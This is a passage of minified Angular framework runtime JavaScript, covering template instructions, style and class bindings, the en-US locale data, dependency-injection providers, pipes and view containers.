o;if(pn(e))o=t.\\u0275cmp||t.\\u0275dir;else{if(t.\\u0275cmp)throw new Q(903,!1);o=t.\\u0275dir}if(o){if(i){r.push(o);const v=e;v.inputs=Z4(e.inputs),v.declaredInputs=Z4(e.declaredInputs),v.outputs=Z4(e.outputs);const F=o.hostBindings;F&&Y8(e,F);const Y=o.viewQuery,me=o.contentQueries;if(Y&&G8(e,Y),me&&j8(e,me),E(e.inputs,o.inputs),E(e.declaredInputs,o.declaredInputs),E(e.outputs,o.outputs),pn(o)&&o.data.animation){const $e=e.data;$e.animation=($e.animation||[]).concat(o.data.animation)}}const l=o.features;if(l)for(let v=0;v<l.length;v++){const F=l[v];F&&F.ngInherit&&F(e),F===K4&&(i=!1)}}t=Object.getPrototypeOf(t)}!function U8(e){let t=0,i=null;for(let r=e.length-1;r>=0;r--){const o=e[r];o.hostVars=t+=o.hostVars,o.hostAttrs=wi(o.hostAttrs,i=wi(i,o.hostAttrs))}}(r)}function Z4(e){return e===Ee?{}:e===at?[]:e}function G8(e,t){const i=e.viewQuery;e.viewQuery=i?(r,o)=>{t(r,o),i(r,o)}:t}function j8(e,t){const i=e.contentQueries;e.contentQueries=i?(r,o,l)=>{t(r,o,l),i(r,o,l)}:t}function Y8(e,t){const i=e.hostBindings;e.hostBindings=i?(r,o)=>{t(r,o),i(r,o)}:t}function Eo(e){return!!Q4(e)&&(Array.isArray(e)||!(e instanceof Map)&&Symbol.iterator in e)}function Q4(e){return null!==e&&("function"==typeof e||"object"==typeof e)}function gr(e,t,i){return e[t]=i}function M2(e,t,i){return!Object.is(e[t],i)&&(e[t]=i,!0)}function Ca(e,t,i,r){const o=M2(e,t,i);return M2(e,t+1,r)||o}function zo(e,t,i,r,o){const l=Ca(e,t,i,r);return M2(e,t+2,o)||l}function q4(e,t,i,r){const o=Tt();return M2(o,Le(),t)&&(t1(),pr($1(),o,e,t,i,r)),q4}function Wa(e,t,i,r){return M2(e,Le(),i)?t+Ce(i)+r:U1}function $a(e,t,i,r,o,l){const F=Ca(e,D(),i,o);return rt(2),F?t+Ce(i)+r+Ce(o)+l:U1}function Za(e,t,i,r,o,l,v,F,Y,me){const ft=function j2(e,t,i,r,o,l){const v=Ca(e,t,i,r);return Ca(e,t+2,o,l)||v}(e,D(),i,o,v,Y);return rt(4),ft?t+Ce(i)+r+Ce(o)+l+Ce(v)+F+Ce(Y)+me:U1}function s0(e,t,i,r,o,l,v,F){const Y=Tt(),me=t1(),$e=e+L1,ft=me.firstCreatePass?function t5(e,t,i,r,o,l,v,F,Y){const me=t.consts,$e=ja(t,e,4,v||null,Qn(me,F));Co(t,i,$e,Qn(me,Y)),y1(t,$e);const ft=$e.tView=G4(2,$e,r,o,l,t.directiveRegistry,t.pipeRegistry,null,t.schemas,me);return null!==t.queries&&(t.queries.template(t,$e),ft.queries=t.queries.embeddedTView($e)),$e}($e,me,Y,t,i,r,o,l,v):me.data[$e];sn(ft,!1);const zt=Y[D1].createComment("");uo(me,Y,zt,ft),et(zt,Y),xo(Y,Y[$e]=P6(zt,Y,zt,ft)),ui(ft)&&V4(me,Y,ft),null!=v&&B4(Y,ft,F)}function o0(e){return si(function xi(){return ye.lFrame.contextLView}(),L1+e)}function X4(e,t,i){const r=Tt();return M2(r,Le(),t)&&F2(t1(),$1(),r,e,t,r[D1],i,!1),X4}function e3(e,t,i,r,o){const v=o?"class":"style";$4(e,i,t.inputs[v],v,r)}function To(e,t,i,r){const o=Tt(),l=t1(),v=L1+e,F=o[D1],Y=l.firstCreatePass?function c0(e,t,i,r,o,l){const v=t.consts,Y=ja(t,e,2,r,Qn(v,o));return Co(t,i,Y,Qn(v,l)),null!==Y.attrs&&Ao(Y,Y.attrs,!1),null!==Y.mergedAttrs&&Ao(Y,Y.mergedAttrs,!0),null!==t.queries&&t.queries.elementStart(t,Y),Y}(v,l,o,t,i,r):l.data[v],me=o[v]=Ms(F,t,function W2(){return ye.lFrame.currentNamespace}()),$e=ui(Y);return sn(Y,!0),P3(F,me,Y),32!=(32&Y.flags)&&uo(l,o,me,Y),0===function L(){return ye.lFrame.elementDepthCount}()&&et(me,o),function T(){ye.lFrame.elementDepthCount++}(),$e&&(V4(l,o,Y),H4(l,Y,o)),null!==r&&B4(o,Y),To}function Lo(){let e=W1();Yn()?qn():(e=e.parent,sn(e,!1));const t=e;!function ue(){ye.lFrame.elementDepthCount--}();const i=t1();return i.firstCreatePass&&(y1(i,e),Ei(e)&&i.queries.elementEnd(e)),null!=t.classesWithoutHost&&function g1(e){return 0!=(8&e.flags)}(t)&&e3(i,t,Tt(),t.classesWithoutHost,!0),null!=t.stylesWithoutHost&&function B1(e){return 0!=(16&e.flags)}(t)&&e3(i,t,Tt(),t.stylesWithoutHost,!1),Lo}function t3(e,t,i,r){return To(e,t,i,r),Lo(),t3}function ko(e,t,i){const r=Tt(),o=t1(),l=e+L1,v=o.firstCreatePass?function r5(e,t,i,r,o){const l=t.consts,v=Qn(l,r),F=ja(t,e,8,"ng-container",v);return null!==v&&Ao(F,v,!0),Co(t,i,F,Qn(l,o)),null!==t.queries&&t.queries.elementStart(t,F),F}(l,o,r,t,i):o.data[l];sn(v,!0);const F=r[l]=r[D1].createComment("");return uo(o,r,F,v),et(F,r),ui(v)&&(V4(o,r,v),H4(o,v,r)),null!=i&&B4(r,v),ko}function Oo(){let e=W1();const t=t1();return Yn()?qn():(e=e.parent,sn(e,!1)),t.firstCreatePass&&(y1(t,e),Ei(e)&&t.queries.elementEnd(e)),Oo}function n3(e,t,i){return ko(e,t,i),Oo(),n3}function l0(){return Tt()}function r3(e){return!!e&&"function"==typeof e.then}function d0(e){return!!e&&"function"==typeof e.subscribe}const u0=d0;function a3(e,t,i,r){const o=Tt(),l=t1(),v=W1();return h0(l,o,o[D1],v,e,t,r),a3}function s3(e,t){const i=W1(),r=Tt(),o=t1();return h0(o,r,V6(l1(o.data),i,r),i,e,t),s3}function h0(e,t,i,r,o,l,v){const F=ui(r),me=e.firstCreatePass&&H6(e),$e=t[E1],ft=N6(t);let zt=!0;if(3&r.type||v){const r1=_n(r,t),m1=v?v(r1):r1,b1=ft.length,R1=v?j1=>v(en(j1[r.index])):r.index;let Xt=null;if(!v&&F&&(Xt=function a5(e,t,i,r){const o=e.cleanup;if(null!=o)for(let l=0;l<o.length-1;l+=2){const v=o[l];if(v===i&&o[l+1]===r){const F=t[vn],Y=o[l+2];return F.length>Y?F[Y]:null}"string"==typeof v&&(l+=2)}return null}(e,t,o,r.index)),null!==Xt)(Xt.__ngLastListenerFn__||Xt).__ngNextListenerFn__=l,Xt.__ngLastListenerFn__=l,zt=!1;else{l=p0(r,t,$e,l,!1);const j1=i.listen(m1,o,l);ft.push(l,j1),me&&me.push(o,R1,b1,b1+1)}}else l=p0(r,t,$e,l,!1);const Nt=r.outputs;let Kt;if(zt&&null!==Nt&&(Kt=Nt[o])){const r1=Kt.length;if(r1)for(let m1=0;m1<r1;m1+=2){const vi=t[Kt[m1]][Kt[m1+1]].subscribe(l),Zi=ft.length;ft.push(l,vi),me&&me.push(o,r.index,Zi,-(Zi+1))}}}function f0(e,t,i,r){try{return bn(6,t,i),!1!==i(r)}catch(o){return B6(e,o),!1}finally{bn(7,t,i)}}function p0(e,t,i,r,o){return function l(v){if(v===Function)return r;Do(e.componentOffset>-1?Vn(e.index,t):t);let Y=f0(t,i,r,v),me=l.__ngNextListenerFn__;for(;me;)Y=f0(t,i,me,v)&&Y,me=me.__ngNextListenerFn__;return o&&!1===Y&&(v.preventDefault(),v.returnValue=!1),Y}}function m0(e=1){return function ni(e){return(ye.lFrame.contextLView=function Un(e,t){for(;e>0;)t=t[cn],e--;return t}(e,ye.lFrame.contextLView))[E1]}(e)}function s5(e,t){let i=null;const r=function Fl(e){const t=e.attrs;if(null!=t){const i=t.indexOf(5);if(!(1&i))return t[i+1]}return null}(e);for(let o=0;o<t.length;o++){const l=t[o];if("*"!==l){if(null===r?m6(e,l,!0):Vl(r,l))return o}else i=o}return i}function g0(e){const t=Tt()[X1][V1];if(!t.projection){const r=t.projection=er(e?e.length:1,null),o=r.slice();let l=t.child;for(;null!==l;){const v=e?s5(l,e):0;null!==v&&(o[v]?o[v].projectionNext=l:r[v]=l,o[v]=l),l=l.next}}}function v0(e,t=0,i){const r=Tt(),o=t1(),l=ja(o,L1+e,16,null,i||null);null===l.projection&&(l.projection=t),qn(),32!=(32&l.flags)&&function Tc(e,t,i){I3(t[D1],0,t,i,ao(e,i,t),T3(i.parent||t[V1],i,t))}(o,r,l)}function o3(e,t,i){return Io(e,"",t,"",i),o3}function Io(e,t,i,r,o){const l=Tt(),v=Wa(l,t,i,r);return v!==U1&&F2(t1(),$1(),l,e,v,l[D1],o,!1),Io}function Ro(e,t,i,r,o,l,v){const F=Tt(),Y=$a(F,t,i,r,o,l);return Y!==U1&&F2(t1(),$1(),F,e,Y,F[D1],v,!1),Ro}function Po(e,t){return e<<17|t<<2}function Zr(e){return e>>17&32767}function c3(e){return 2|e}function Ma(e){return(131068&e)>>2}function l3(e,t){return-131069&e|t<<2}function d3(e){return 1|e}function w0(e,t,i,r,o){const l=e[i+1],v=null===t;let F=r?Zr(l):Ma(l),Y=!1;for(;0!==F&&(!1===Y||v);){const $e=e[F+1];h5(e[F],t)&&(Y=!0,e[F+1]=r?d3($e):c3($e)),F=r?Zr($e):Ma($e)}Y&&(e[i+1]=r?c3(l):d3(l))}function h5(e,t){return null===e||null==t||(Array.isArray(e)?e[1]:e)===t||!(!Array.isArray(e)||"string"!=typeof t)&&M(e,t)>=0}const Ki={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function A0(e){return e.substring(Ki.key,Ki.keyEnd)}function u3(e,t){const i=Ki.textEnd;return i===t?-1:(t=Ki.keyEnd=function m5(e,t,i){for(;t<i&&e.charCodeAt(t)>32;)t++;return t}(e,Ki.key=t,i),xa(e,t,i))}function xa(e,t,i){for(;t<i&&e.charCodeAt(t)<=32;)t++;return t}function m3(e,t,i){return ar(e,t,i,!1),m3}function g3(e,t){return ar(e,t,null,!0),g3}function T0(e){sr(x5,_r,e,!0)}function _r(e,t){for(let i=function p5(e){return function f3(e){Ki.key=0,Ki.keyEnd=0,Ki.value=0,Ki.valueEnd=0,Ki.textEnd=e.length}(e),u3(e,xa(e,0,Ki.textEnd))}(t);i>=0;i=u3(t,i))Pi(e,A0(t),!0)}function ar(e,t,i,r){const o=Tt(),l=t1(),v=rt(2);l.firstUpdatePass&&k0(l,e,v,r),t!==U1&&M2(o,v,t)&&I0(l,l.data[hn()],o,o[D1],e,o[v+1]=function w5(e,t){return null==e||""===e||("string"==typeof t?e+=t:"object"==typeof e&&(e=_(Lr(e)))),e}(t,i),r,v)}function sr(e,t,i,r){const o=t1(),l=rt(2);o.firstUpdatePass&&k0(o,null,l,r);const v=Tt();if(i!==U1&&M2(v,l,i)){const F=o.data[hn()];if(P0(F,r)&&!L0(o,l)){let Y=r?F.classesWithoutHost:F.stylesWithoutHost;null!==Y&&(i=S(Y,i||"")),e3(o,F,v,i,r)}else!function D5(e,t,i,r,o,l,v,F){o===U1&&(o=at);let Y=0,me=0,$e=0<o.length?o[0]:null,ft=0<l.length?l[0]:null;for(;null!==$e||null!==ft;){const zt=Y<o.length?o[Y+1]:void 0,Nt=me<l.length?l[me+1]:void 0;let r1,Kt=null;$e===ft?(Y+=2,me+=2,zt!==Nt&&(Kt=ft,r1=Nt)):null===ft||null!==$e&&$e<ft?(Y+=2,Kt=$e):(me+=2,Kt=ft,r1=Nt),null!==Kt&&I0(e,t,i,r,Kt,r1,v,F),$e=Y<o.length?o[Y]:null,ft=me<l.length?l[me]:null}}(o,F,v,v[D1],v[l+1],v[l+1]=function M5(e,t,i){if(null==i||""===i)return at;const r=[],o=Lr(i);if(Array.isArray(o))for(let l=0;l<o.length;l++)e(r,o[l],!0);else if("object"==typeof o)for(const l in o)o.hasOwnProperty(l)&&e(r,l,o[l]);else"string"==typeof o&&t(r,o);return r}(e,t,i),r,l)}}function L0(e,t){return t>=e.expandoStartIndex}function k0(e,t,i,r){const o=e.data;if(null===o[i+1]){const l=o[hn()],v=L0(e,i);P0(l,r)&&null===t&&!v&&(t=!1),t=function _5(e,t,i,r){const o=l1(e);let l=r?t.residualClasses:t.residualStyles;if(null===o)0===(r?t.classBindings:t.styleBindings)&&(i=Ps(i=v3(null,e,t,i,r),t.attrs,r),l=null);else{const v=t.directiveStylingLast;if(-1===v||e[v]!==o)if(i=v3(o,e,t,i,r),null===l){let Y=function y5(e,t,i){const r=i?t.classBindings:t.styleBindings;if(0!==Ma(r))return e[Zr(r)]}(e,t,r);void 0!==Y&&Array.isArray(Y)&&(Y=v3(null,e,t,Y[1],r),Y=Ps(Y,t.attrs,r),function b5(e,t,i,r){e[Zr(i?t.classBindings:t.styleBindings)]=r}(e,t,r,Y))}else l=function C5(e,t,i){let r;const o=t.directiveEnd;for(let l=1+t.directiveStylingLast;l<o;l++)r=Ps(r,e[l].hostAttrs,i);return Ps(r,t.attrs,i)}(e,t,r)}return void 0!==l&&(r?t.residualClasses=l:t.residualStyles=l),i}(o,l,t,r),function d5(e,t,i,r,o,l){let v=l?t.classBindings:t.styleBindings,F=Zr(v),Y=Ma(v);e[r]=i;let $e,me=!1;if(Array.isArray(i)?($e=i[1],(null===$e||M(i,$e)>0)&&(me=!0)):$e=i,o)if(0!==Y){const zt=Zr(e[F+1]);e[r+1]=Po(zt,F),0!==zt&&(e[zt+1]=l3(e[zt+1],r)),e[F+1]=function c5(e,t){return 131071&e|t<<17}(e[F+1],r)}else e[r+1]=Po(F,0),0!==F&&(e[F+1]=l3(e[F+1],r)),F=r;else e[r+1]=Po(Y,0),0===F?F=r:e[Y+1]=l3(e[Y+1],r),Y=r;me&&(e[r+1]=c3(e[r+1])),w0(e,$e,r,!0),w0(e,$e,r,!1),function u5(e,t,i,r,o){const l=o?e.residualClasses:e.residualStyles;null!=l&&"string"==typeof t&&M(l,t)>=0&&(i[r+1]=d3(i[r+1]))}(t,$e,e,r,l),v=Po(F,Y),l?t.classBindings=v:t.styleBindings=v}(o,l,t,i,v,r)}}function v3(e,t,i,r,o){let l=null;const v=i.directiveEnd;let F=i.directiveStylingLast;for(-1===F?F=i.directiveStart:F++;F<v&&(l=t[F],r=Ps(r,l.hostAttrs,o),l!==e);)F++;return null!==e&&(i.directiveStylingLast=F),r}function Ps(e,t,i){const r=i?1:2;let o=-1;if(null!==t)for(let l=0;l<t.length;l++){const v=t[l];"number"==typeof v?o=v:o===r&&(Array.isArray(e)||(e=void 0===e?[]:["",e]),Pi(e,v,!!i||t[++l]))}return void 0===e?null:e}function x5(e,t,i){const r=String(t);""!==r&&!r.includes(" ")&&Pi(e,r,i)}function I0(e,t,i,r,o,l,v,F){if(!(3&t.type))return;const Y=e.data,me=Y[F+1],$e=function l5(e){return 1==(1&e)}(me)?R0(Y,t,i,o,Ma(me),v):void 0;Fs($e)||(Fs(l)||function o5(e){return 2==(2&e)}(me)&&(l=R0(Y,null,i,o,F,v)),function kc(e,t,i,r,o){if(t)o?e.addClass(i,r):e.removeClass(i,r);else{let l=-1===r.indexOf("-")?void 0:L2.DashCase;null==o?e.removeStyle(i,r,l):("string"==typeof o&&o.endsWith("!important")&&(o=o.slice(0,-10),l|=L2.Important),e.setStyle(i,r,o,l))}}(r,v,m2(hn(),i),o,l))}function R0(e,t,i,r,o,l){const v=null===t;let F;for(;o>0;){const Y=e[o],me=Array.isArray(Y),$e=me?Y[1]:Y,ft=null===$e;let zt=i[o+1];zt===U1&&(zt=ft?at:void 0);let Nt=ft?jr(zt,r):$e===r?zt:void 0;if(me&&!Fs(Nt)&&(Nt=jr(Y,r)),Fs(Nt)&&(F=Nt,v))return F;const Kt=e[o+1];o=v?Zr(Kt):Ma(Kt)}if(null!==t){let Y=l?t.residualClasses:t.residualStyles;null!=Y&&(F=jr(Y,r))}return F}function Fs(e){return void 0!==e}function P0(e,t){return 0!=(e.flags&(t?8:16))}function F0(e,t=""){const i=Tt(),r=t1(),o=e+L1,l=r.firstCreatePass?ja(r,o,1,t,null):r.data[o],v=i[o]=function Cs(e,t){return e.createText(t)}(i[D1],t);uo(r,i,v,l),sn(l,!1)}function Fo(e){return Ns("",e,""),Fo}function Ns(e,t,i){const r=Tt(),o=Wa(r,e,t,i);return o!==U1&&mr(r,hn(),o),Ns}function No(e,t,i,r,o){const l=Tt(),v=$a(l,e,t,i,r,o);return v!==U1&&mr(l,hn(),v),No}function _3(e,t,i,r,o,l,v){const F=Tt(),Y=function Ka(e,t,i,r,o,l,v,F){const me=zo(e,D(),i,o,v);return rt(3),me?t+Ce(i)+r+Ce(o)+l+Ce(v)+F:U1}(F,e,t,i,r,o,l,v);return Y!==U1&&mr(F,hn(),Y),_3}function y3(e,t,i,r,o,l,v,F,Y){const me=Tt(),$e=Za(me,e,t,i,r,o,l,v,F,Y);return $e!==U1&&mr(me,hn(),$e),y3}function U0(e,t,i){sr(Pi,_r,Wa(Tt(),e,t,i),!0)}function Ho(e,t,i){const r=Tt();return M2(r,Le(),t)&&F2(t1(),$1(),r,e,t,r[D1],i,!0),Ho}function Vo(e,t,i){const r=Tt();if(M2(r,Le(),t)){const l=t1(),v=$1();F2(l,v,r,e,t,V6(l1(l.data),v,r),i,!0)}return Vo}const Da=void 0;var H5=["en",[["a","p"],["AM","PM"],Da],[["AM","PM"],Da,Da],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],Da,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],Da,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],0,[6,0],["M/d/yy","MMM d, y","MMMM d, y","EEEE, MMMM d, y"],["h:mm a","h:mm:ss a","h:mm:ss a z","h:mm:ss a zzzz"],["{1}, {0}",Da,"{1} \'at\' {0}",Da],[".",",",";","%","+","-","E","\\xd7","\\u2030","\\u221e","NaN",":"],["#,##0.###","#,##0%","\\xa4#,##0.00","#E0"],"USD","$","US Dollar",{},"ltr",function tc(e){const i=Math.floor(Math.abs(e)),r=e.toString().replace(/^[^.]*\\.?/,"").length;return 1===i&&0===r?1:5}];let es={};function M3(e){const t=function V5(e){return e.toLowerCase().replace(/_/g,"-")}(e);let i=ic(t);if(i)return i;const r=t.split("-")[0];if(i=ic(r),i)return i;if("en"===r)return H5;throw new Q(701,!1)}function nc(e){return M3(e)[z1.PluralCase]}function ic(e){return e in es||(es[e]=ie.ng&&ie.ng.common&&ie.ng.common.locales&&ie.ng.common.locales[e]),es[e]}var z1=(()=>((z1=z1||{})[z1.LocaleId=0]="LocaleId",z1[z1.DayPeriodsFormat=1]="DayPeriodsFormat",z1[z1.DayPeriodsStandalone=2]="DayPeriodsStandalone",z1[z1.DaysFormat=3]="DaysFormat",z1[z1.DaysStandalone=4]="DaysStandalone",z1[z1.MonthsFormat=5]="MonthsFormat",z1[z1.MonthsStandalone=6]="MonthsStandalone",z1[z1.Eras=7]="Eras",z1[z1.FirstDayOfWeek=8]="FirstDayOfWeek",z1[z1.WeekendRange=9]="WeekendRange",z1[z1.DateFormat=10]="DateFormat",z1[z1.TimeFormat=11]="TimeFormat",z1[z1.DateTimeFormat=12]="DateTimeFormat",z1[z1.NumberSymbols=13]="NumberSymbols",z1[z1.NumberFormats=14]="NumberFormats",z1[z1.CurrencyCode=15]="CurrencyCode",z1[z1.CurrencySymbol=16]="CurrencySymbol",z1[z1.CurrencyName=17]="CurrencyName",z1[z1.Currencies=18]="Currencies",z1[z1.Directionality=19]="Directionality",z1[z1.PluralCase=20]="PluralCase",z1[z1.ExtraData=21]="ExtraData",z1))();const ts="en-US";let rc=ts;function o7(e,t,i,r,o){if(e=z(e),Array.isArray(e))for(let l=0;l<e.length;l++)o7(e[l],t,i,r,o);else{const l=t1(),v=Tt();let F=_a(e)?e:z(e.provide),Y=o6(e);const me=W1(),$e=1048575&me.providerIndexes,ft=me.directiveStart,zt=me.providerIndexes>>20;if(_a(e)||!e.multi){const Nt=new ht(Y,o,Ga),Kt=l7(F,t,o?$e:$e+zt,ft);-1===Kt?(Mr(cr(me,v),l,F),c7(l,e,t.length),t.push(F),me.directiveStart++,me.directiveEnd++,o&&(me.providerIndexes+=1048576),i.push(Nt),v.push(Nt)):(i[Kt]=Nt,v[Kt]=Nt)}else{const Nt=l7(F,t,$e+zt,ft),Kt=l7(F,t,$e,$e+zt),m1=Kt>=0&&i[Kt];if(o&&!m1||!o&&!(Nt>=0&&i[Nt])){Mr(cr(me,v),l,F);const b1=function Gu(e,t,i,r,o){const l=new ht(e,i,Ga);return l.multi=[],l.index=t,l.componentProviders=0,Od(l,o,r&&!i),l}(o?Uu:Bu,i.length,o,r,Y);!o&&m1&&(i[Kt].providerFactory=b1),c7(l,e,t.length,0),t.push(F),me.directiveStart++,me.directiveEnd++,o&&(me.providerIndexes+=1048576),i.push(b1),v.push(b1)}else c7(l,e,Nt>-1?Nt:Kt,Od(i[o?Kt:Nt],Y,!o&&r));!o&&r&&m1&&i[Kt].componentProviders++}}}function c7(e,t,i,r){const o=_a(t),l=function ll(e){return!!e.useClass}(t);if(o||l){const Y=(l?z(t.useClass):t).prototype.ngOnDestroy;if(Y){const me=e.destroyHooks||(e.destroyHooks=[]);if(!o&&t.multi){const $e=me.indexOf(i);-1===$e?me.push(i,[r,Y]):me[$e+1].push(r,Y)}else me.push(i,Y)}}}function Od(e,t,i){return i&&e.componentProviders++,e.multi.push(t)-1}function l7(e,t,i,r){for(let o=i;o<r;o++)if(t[o]===e)return o;return-1}function Bu(e,t,i,r){return d7(this.multi,[])}function Uu(e,t,i,r){const o=this.multi;let l;if(this.providerFactory){const v=this.providerFactory.componentProviders,F=k2(i,i[Qt],this.providerFactory.index,r);l=F.slice(0,v),d7(o,l);for(let Y=v;Y<F.length;Y++)l.push(F[Y])}else l=[],d7(o,l);return l}function d7(e,t){for(let i=0;i<e.length;i++)t.push((0,e[i])());return t}function Id(e,t=[]){return i=>{i.providersResolver=(r,o)=>function Vu(e,t,i){const r=t1();if(r.firstCreatePass){const o=pn(e);o7(i,r.data,r.blueprint,o,!0),o7(t,r.data,r.blueprint,o,!1)}}(r,o?o(e):e,t)}}class Go{}class Rd{}function ju(e,t){return new Pd(e,t??null)}class Pd extends Go{constructor(t,i){super(),this._parent=i,this._bootstrapComponents=[],this.destroyCbs=[],this.componentFactoryResolver=new G6(this);const r=ke(t);this._bootstrapComponents=Or(r.bootstrap),this._r3Injector=x6(t,i,[{provide:Go,useValue:this},{provide:zs,useValue:this.componentFactoryResolver}],_(t),new Set(["environment"])),this._r3Injector.resolveInjectorInitializers(),this.instance=this._r3Injector.get(t)}get injector(){return this._r3Injector}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(i=>i()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class u7 extends Rd{constructor(t){super(),this.moduleType=t}create(t){return new Pd(this.moduleType,t)}}class Yu extends Go{constructor(t,i,r){super(),this.componentFactoryResolver=new G6(this),this.instance=null;const o=new s6([...t,{provide:Go,useValue:this},{provide:zs,useValue:this.componentFactoryResolver}],i||vo(),r,new Set(["environment"]));this.injector=o,o.resolveInjectorInitializers()}destroy(){this.injector.destroy()}onDestroy(t){this.injector.onDestroy(t)}}function h7(e,t,i=null){return new Yu(e,t,i).injector}let Wu=(()=>{class e{constructor(i){this._injector=i,this.cachedInjectors=new Map}getOrCreateStandaloneInjector(i){if(!i.standalone)return null;if(!this.cachedInjectors.has(i.id)){const r=v4(0,i.type),o=r.length>0?h7([r],this._injector,`Standalone[${i.type.name}]`):null;this.cachedInjectors.set(i.id,o)}return this.cachedInjectors.get(i.id)}ngOnDestroy(){try{for(const i of this.cachedInjectors.values())null!==i&&i.destroy()}finally{this.cachedInjectors.clear()}}}return e.\\u0275prov=Be({token:e,providedIn:"environment",factory:()=>new e(Pe(ya))}),e})();function Fd(e){e.getStandaloneInjector=t=>t.get(Wu).getOrCreateStandaloneInjector(e)}function jd(e,t,i){const r=y()+e,o=Tt();return o[r]===U1?gr(o,r,i?t.call(i):t()):function Rs(e,t){return e[t]}(o,r)}function Yd(e,t,i,r){return Kd(Tt(),y(),e,t,i,r)}function Wd(e,t,i,r,o){return Zd(Tt(),y(),e,t,i,r,o)}function $d(e,t,i,r,o,l){return function Qd(e,t,i,r,o,l,v,F){const Y=t+i;return zo(e,Y,o,l,v)?gr(e,Y+3,F?r.call(F,o,l,v):r(o,l,v)):w3(e,Y+3)}(Tt(),y(),e,t,i,r,o,l)}function w3(e,t){const i=e[t];return i===U1?void 0:i}function Kd(e,t,i,r,o,l){const v=t+i;return M2(e,v,o)?gr(e,v+1,l?r.call(l,o):r(o)):w3(e,v+1)}function Zd(e,t,i,r,o,l,v){const F=t+i;return Ca(e,F,o,l)?gr(e,F+2,v?r.call(v,o,l):r(o,l)):w3(e,F+2)}function Xd(e,t){const i=t1();let r;const o=e+L1;i.firstCreatePass?(r=function oh(e,t){if(t)for(let i=t.length-1;i>=0;i--){const r=t[i];if(e===r.name)return r}}(t,i.pipeRegistry),i.data[o]=r,r.onDestroy&&(i.destroyHooks??(i.destroyHooks=[])).push(o,r.onDestroy)):r=i.data[o];const l=r.factory||(r.factory=ai(r.type)),v=m(Ga);try{const F=$2(!1),Y=l();return $2(F),function n5(e,t,i,r){i>=e.data.length&&(e.data[i]=null,e.blueprint[i]=null),t[i]=r}(i,Tt(),o,Y),Y}finally{m(v)}}function e9(e,t,i){const r=e+L1,o=Tt(),l=si(o,r);return A3(o,r)?Kd(o,y(),t,l.transform,i,l):l.transform(i)}function t9(e,t,i,r){const o=e+L1,l=Tt(),v=si(l,o);return A3(l,o)?Zd(l,y(),t,v.transform,i,r,v):v.transform(i,r)}function A3(e,t){return e[Qt].data[t].pure}function p7(e){return t=>{setTimeout(e,void 0,t)}}const Qr=class uh extends n.xQ{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,i,r){let o=t,l=i||(()=>null),v=r;if(t&&"object"==typeof t){const Y=t;o=Y.next?.bind(Y),l=Y.error?.bind(Y),v=Y.complete?.bind(Y)}this.__isAsync&&(l=p7(l),o&&(o=p7(o)),v&&(v=p7(v)));const F=super.subscribe({next:o,error:l,complete:v});return t instanceof a.w&&t.add(F),F}};function hh(){return this._results[Symbol.iterator]()}class _c{get changes(){return this._changes||(this._changes=new Qr)}constructor(t=!1){this._emitDistinctChangesOnly=t,this.dirty=!0,this._results=[],this._changesDetected=!1,this._changes=null,this.length=0,this.first=void 0,this.last=void 0;const i=_c.prototype;i[Symbol.iterator]||(i[Symbol.iterator]=hh)}get(t){return this._results[t]}map(t){return this._results.map(t)}filter(t){return this._results.filter(t)}find(t){return this._results.find(t)}reduce(t,i){return this._results.reduce(t,i)}forEach(t){this._results.forEach(t)}some(t){return this._results.some(t)}toArray(){return this._results.slice()}toString(){return this._results.toString()}reset(t,i){const r=this;r.dirty=!1;const o=function n2(e){return e.flat(Number.POSITIVE_INFINITY)}(t);(this._changesDetected=!function Ar(e,t,i){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++){let o=e[r],l=t[r];if(i&&(o=i(o),l=i(l)),l!==o)return!1}return!0}(r._results,o,i))&&(r._results=o,r.length=o.length,r.last=o[this.length-1],r.first=o[0])}notifyOnChanges(){this._changes&&(this._changesDetected||!this._emitDistinctChangesOnly)&&this._changes.emit(this)}setDirty(){this.dirty=!0}destroy(){this.changes.complete(),this.changes.unsubscribe()}}let S3=(()=>{class e{}return e.__NG_ELEMENT_ID__=mh,e})();const fh=S3,ph=class extends fh{constructor(t,i,r){super(),this._declarationLView=t,this._declarationTContainer=i,this.elementRef=r}createEmbeddedView(t,i){const r=this._declarationTContainer.tView,o=yo(this._declarationLView,r,t,16,null,r.declTNode,null,null,null,null,i||null);o[Pn]=this._declarationLView[this._declarationTContainer.index];const v=this._declarationLView[An];return null!==v&&(o[An]=v.createEmbeddedView(r)),N4(r,o,t),new Os(o)}};function mh(){return yc(W1(),Tt())}function yc(e,t){return 4&e.type?new ph(t,e,Va(e,t)):null}let bc=(()=>{class e{}return e.__NG_ELEMENT_ID__=gh,e})();function gh(){return r9(W1(),Tt())}const vh=bc,n9=class extends vh{constructor(t,i,r){super(),this._lContainer=t,this._hostTNode=i,this._hostLView=r}get element(){return Va(this._hostTNode,this._hostLView)}get injector(){return new O2(this._hostTNode,this._hostLView)}get parentInjector(){const t=V2(this._hostTNode,this._hostLView);if(mi(t)){const i=ji(t,this._hostLView),r=Ii(t);return new O2(i[Qt].data[r+8],i)}return new O2(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const i=i9(this._lContainer);return null!==i&&i[t]||null}get length(){return this._lContainer.length-ln}createEmbeddedView(t,i,r){let o,l;"number"==typeof r?o=r:null!=r&&(o=r.index,l=r.injector);const v=t.createEmbeddedView(i||{},l);return this.insert(v,o),v}createComponent(t,i,r,o,l){const v=t&&!function ur(e){return"function"==typeof e}(t);let F;if(v)F=i;else{const ft=i||{};F=ft.index,r=ft.injector,o=ft.projectableNodes,l=ft.environmentInjector||ft.ngModuleRef}const Y=v?t:new Is(O(t)),me=r||this.parentInjector;if(!l&&null==Y.ngModule){const zt=(v?me:this.parentInjector).get(ya,null);zt&&(l=zt)}const $e=Y.create(me,o,void 0,l);return this.insert($e.hostView,F),$e}insert(t,i){const r=t._lView,o=r[Qt];if(function D2(e){return 